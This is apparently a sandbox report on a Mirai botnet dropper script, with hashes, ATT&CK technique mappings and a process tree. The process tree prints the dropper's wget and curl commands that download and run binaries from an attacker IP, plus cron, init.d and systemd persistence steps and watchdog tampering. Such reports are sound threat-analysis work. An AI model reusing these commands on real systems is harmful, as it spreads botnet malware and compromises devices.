mirai | 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/09/2026, 18:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
Size 3KB
Sample260913-xjp4essbmf
SHA256 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96
MD5 9e3b46f7626b0408ec194c37d7dd9c06
SHA1 182b94055cbf17b68cd32fca2828a7049320fc35
SHA512 269e6b6a1f5476f2f7099e275e60a83fa5516e2ec46f77c2f0e0835d138629d57b90f1c4f007f1cd4054f584c522ba8d6de8214b8dc62d5f2375228340d80023
TLSH
T1C861218851B1F173D8C5692D22BE86D1E9409EF25BB1EEECA858D4F0444070673FB2F6
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet credential_access defense_evasion discovery execution mirai persistence privilege_escalation

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod
755	chmod
760	chmod
764	chmod
768	chmod
774	sh
775	chmod

Deletes itself 1 IoCs

pid	Process
769	net_bot

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/net_bot	744	39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
/tmp/net_bot	756	39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
/tmp/net_bot	761	39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
/tmp/net_bot	765	39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
/tmp/net_bot	769	39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	net_bot
File opened for modification	/dev/misc/watchdog	net_bot

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/netupd	net_bot

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/sys_daemon	net_bot

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/netd.service	net_bot

Reads process memory 1 TTPs 33 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/3/maps	net_bot
File opened for reading	/proc/10/maps	net_bot
File opened for reading	/proc/20/maps	net_bot
File opened for reading	/proc/69/maps	net_bot
File opened for reading	/proc/74/maps	net_bot
File opened for reading	/proc/75/maps	net_bot
File opened for reading	/proc/36/maps	net_bot
File opened for reading	/proc/72/maps	net_bot
File opened for reading	/proc/71/maps	net_bot
File opened for reading	/proc/8/maps	net_bot
File opened for reading	/proc/14/maps	net_bot
File opened for reading	/proc/16/maps	net_bot
File opened for reading	/proc/17/maps	net_bot
File opened for reading	/proc/23/maps	net_bot
File opened for reading	/proc/37/maps	net_bot
File opened for reading	/proc/2/maps	net_bot
File opened for reading	/proc/6/maps	net_bot
File opened for reading	/proc/9/maps	net_bot
File opened for reading	/proc/13/maps	net_bot
File opened for reading	/proc/15/maps	net_bot
File opened for reading	/proc/12/maps	net_bot
File opened for reading	/proc/21/maps	net_bot
File opened for reading	/proc/4/maps	net_bot
File opened for reading	/proc/7/maps	net_bot
File opened for reading	/proc/19/maps	net_bot
File opened for reading	/proc/22/maps	net_bot
File opened for reading	/proc/5/maps	net_bot
File opened for reading	/proc/11/maps	net_bot
File opened for reading	/proc/18/maps	net_bot
File opened for reading	/proc/24/maps	net_bot
File opened for reading	/proc/1/maps	net_bot
File opened for reading	/proc/73/maps	net_bot
File opened for reading	/proc/76/maps	net_bot

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	769	net_bot

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	net_bot
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/maps	net_bot
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
767	wget
769	net_bot

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/net_bot	curl
File opened for modification	/tmp/net_bot	wget
File opened for modification	/tmp/net_bot	curl
File opened for modification	/tmp/net_bot	wget
File opened for modification	/tmp/net_bot	wget

/tmp/39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
/tmp/39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
1⤵
- Executes dropped EXE
PID:726
- /usr/bin/wget
  wget http://160.119.66.206/bins/net.x86_64 -O net_bot
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 net_bot
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/net_bot
  ./net_bot net.x86_64
  2⤵
  PID:744
- /usr/bin/curl
  curl -L http://160.119.66.206/bins/net.x86_64 -o net_bot
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 net_bot
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/net_bot
  ./net_bot net.x86_64
  2⤵
  PID:756
- /usr/bin/wget
  wget http://160.119.66.206/bins/net.x86 -O net_bot
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 net_bot
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/net_bot
  ./net_bot net.x86
  2⤵
  PID:761
- /usr/bin/curl
  curl -L http://160.119.66.206/bins/net.x86 -o net_bot
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 net_bot
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/net_bot
  ./net_bot net.x86
  2⤵
  PID:765
- /usr/bin/wget
  wget http://160.119.66.206/bins/net.mips -O net_bot
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:767
- /bin/chmod
  chmod 777 net_bot
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/net_bot
  ./net_bot net.mips
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Creates/modifies Cron job
  - Modifies init.d
  - Modifies systemd
  - Reads process memory
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:769
- - /bin/sh
    sh -c "chmod +x /var/tmp/.sys_recovery.sh"
    3⤵
    - File and Directory Permissions Modification
    PID:774
  - - /bin/chmod
      chmod +x /var/tmp/.sys_recovery.sh
      4⤵
      File and Directory Permissions Modification
      PID:775
- - /bin/sh
    sh -c "systemctl disable .networkd.service 2>/dev/null"
    3⤵
    PID:776
  - - /bin/systemctl
      systemctl disable .networkd.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:777
- - /bin/sh
    sh -c "update-rc.d sys_daemon defaults 2>/dev/null"
    3⤵
    PID:778
  - - /usr/sbin/update-rc.d
      update-rc.d sys_daemon defaults
      4⤵
      PID:779
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:780
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:780
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:780
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:780
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:780
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Enumerates kernel/hardware configuration
        Reads runtime system information
        
        PID:780
- - /bin/sh
    sh -c "chkconfig --add sys_daemon 2>/dev/null"
    3⤵
    PID:806
- - /bin/sh
    sh -c "systemctl daemon-reload 2>/dev/null"
    3⤵
    PID:807
  - - /bin/systemctl
      systemctl daemon-reload
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:809
- - /bin/sh
    sh -c "systemctl enable netd.service 2>/dev/null"
    3⤵
    PID:831
  - - /bin/systemctl
      systemctl enable netd.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:833
- - /bin/sh
    sh -c "systemctl start netd.service 2>/dev/null"
    3⤵
    PID:853
  - - /bin/systemctl
      systemctl start netd.service
      4⤵
      Enumerates kernel/hardware configuration
      Reads runtime system information
      PID:854

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

netupd

Path /etc/cron.d/netupd
Size 49B
SHA256 6f50f3c70491721be9a36ce4fd3cfcac66dba6fe7b3af969b9aae67b71bc2435
MD5 4ed2963e9d81315709b84dfe14f74fd0
SHA1 3b33da5d9f8c5a091ce3183e85cc9f1b4017a566
SHA512 15382aec41e41c09d96199fd83caf84ee475bc6442bef7e608952fd188ec5b871d90a4438287f9be39a676cc9c01141fa43890d43d150f0948e6bcab67569789
MD5 SHA1 SHA512

Submit Download

sys_daemon

Path /etc/init.d/sys_daemon
Size 282B
SHA256 c277627bfbdac903b0229ad7417771294a3135aa01cc6300cd7b0df09f54cc97
MD5 e6a107234365ee6b813c8dc0030a570a
SHA1 f94968be4439fafb09cadee7a8e3cc1d546eebcc
SHA512 02d0f12a9b4a9754403b4f444a2061db802bcc5f5af1ca474f4f508fbe933f4e560023ebc103e8a7d61bac53de3e2aa147b56b2e88f8c2efd79008d02cf6035c
TLSH
T126D09E45F44585B52ECA4179A71DB25975C10057C4253412FF6E3BF2DF55392606A1B0
MD5 SHA1 SHA512 TLSH

Submit Download

netd.service

Path /etc/systemd/system/netd.service
Size 241B
SHA256 cee909cdcda744de562e43a98c9d5d6ef26f2ebe194bee98696043274de026a8
MD5 3c94a0f2e307c750f3ece842fa65575b
SHA1 fdcc673dd4a6e7be66f63f9ac1d1d5c134366aaa
SHA512 7de8c2cc91284aa1ecf6ea4c3c05f76c82df7790077720bad5bb43950a24f34ecf5a8e4046b6979503fca647788fd8db7a58ec81dfd1e12125036d785c51bb8a
TLSH
T150D09712363424E9D8CF1172CF796F808F000080888F2331CBF0AFA28AE268691264BE
MD5 SHA1 SHA512 TLSH

Submit Download

net_bot

Path /tmp/net_bot
Size 186KB
SHA256 cd6ccc5dabe85309a938e43c9508998bb0f52a9264fa9ba9276956f7fa42f48d
MD5 390b35e39dd659cdfc59900f820b7d40
SHA1 04ea9f670b30a5fa2112d32c770c505424643713
SHA512 21a799918efa9e680f3f6838e9ab52fc048a24cb8a625acd9509b57623297a06c1e62abcfee7bb55e2d5f1f9036d8f9532e65f61e35ada35d247b98633e36fd4
SSDEEP 3072:qGkRiq2AYx5Fqx20LZaegBI/LYHCPYG8kAbWnDS0H3:N2iqkHFyL0gpD
TLSH
T12D145B06B9C094FDC4C9D2788BBEB13BC975F45C1134B29F2BD4AF222E4AE612B2D551
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

net_bot

Path /tmp/net_bot
Size 142KB
SHA256 2136980fc01c33fcd1f5cf0541ebfce02093eec928921654dc35c17d69205946
MD5 30d160e0091c9ce5501eb3ad7653ce8e
SHA1 df52452383672b563c10415118b61406bdf5093d
SHA512 e65f20cb35f8ad217683c8569d2647dffae014104be52f6bb178ab0e0b4a2bc1ec5155cd8bb88ad473d3b32c2bea9c693feb1563cab8fbceff77869c268c1b6c
SSDEEP 3072:j57pOGy3Tek+5yf9wOghY04KRMof2xoIJmNf9tnpsE:j5cGy3ykuyzgVP6ybnOE
TLSH
T1ECE36A85F783D5F5FA5605B02077A7334636E4391039DE86DBB9AC31EC62A81D22B36C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

net_bot

Path /tmp/net_bot
Size 242KB
SHA256 683a3f7c5992c013d4cd71eeaf2d0d3b5a781261fa19a30e4d073ddf712c5ea4
MD5 2c6ac74d011f00176a521d60358007b6
SHA1 031c00f95d4fdf263bb9eed53523e6eaf2bb2f55
SHA512 eff936ec5d570f4b997803c062bd7d74d8a9dcf4e49f672881ecf7a84fe2d9a4dd9981423ca634f1cf1abb3d72ca110024179baa6aa1a1548490204fcf240c81
SSDEEP 3072:J4909IYT24tD/WrkhYAp8coLDxoShEdqaEC/oDK3ekAsonuqle:J4oy4tD/WrkhYAp8coLSSVgoQeAonTe
TLSH
T15D34A81E6E228F7EF6B8C73447B78E30975D23D626D1D584E1ACD1011E2429E681FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.sys_recovery.sh

Path /var/tmp/.sys_recovery.sh
Size 142B
SHA256 a106ae4fbb9d0f0cfa8475f4baf6804b7bfb87a492ce844c2b3d9fc70fe5b9cc
MD5 e9ce559dab7c6e923ab3fbf157bdd86b
SHA1 55a4283c5c4458eeffa00d03d062e7b3bdaba397
SHA512 741945d1b90171f0d22987a4fbd5e48e5040af2f4c8b8e61a2483d6bd6fb9c453b156cfa00fe01ff527124ac4a7f2b44051e4109a04c202e87adff774338e577
TLSH
T1EAC02B33E0200C312F1080F955ED900C519241036C0F0CB0704AF0703F2E21E736332D
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads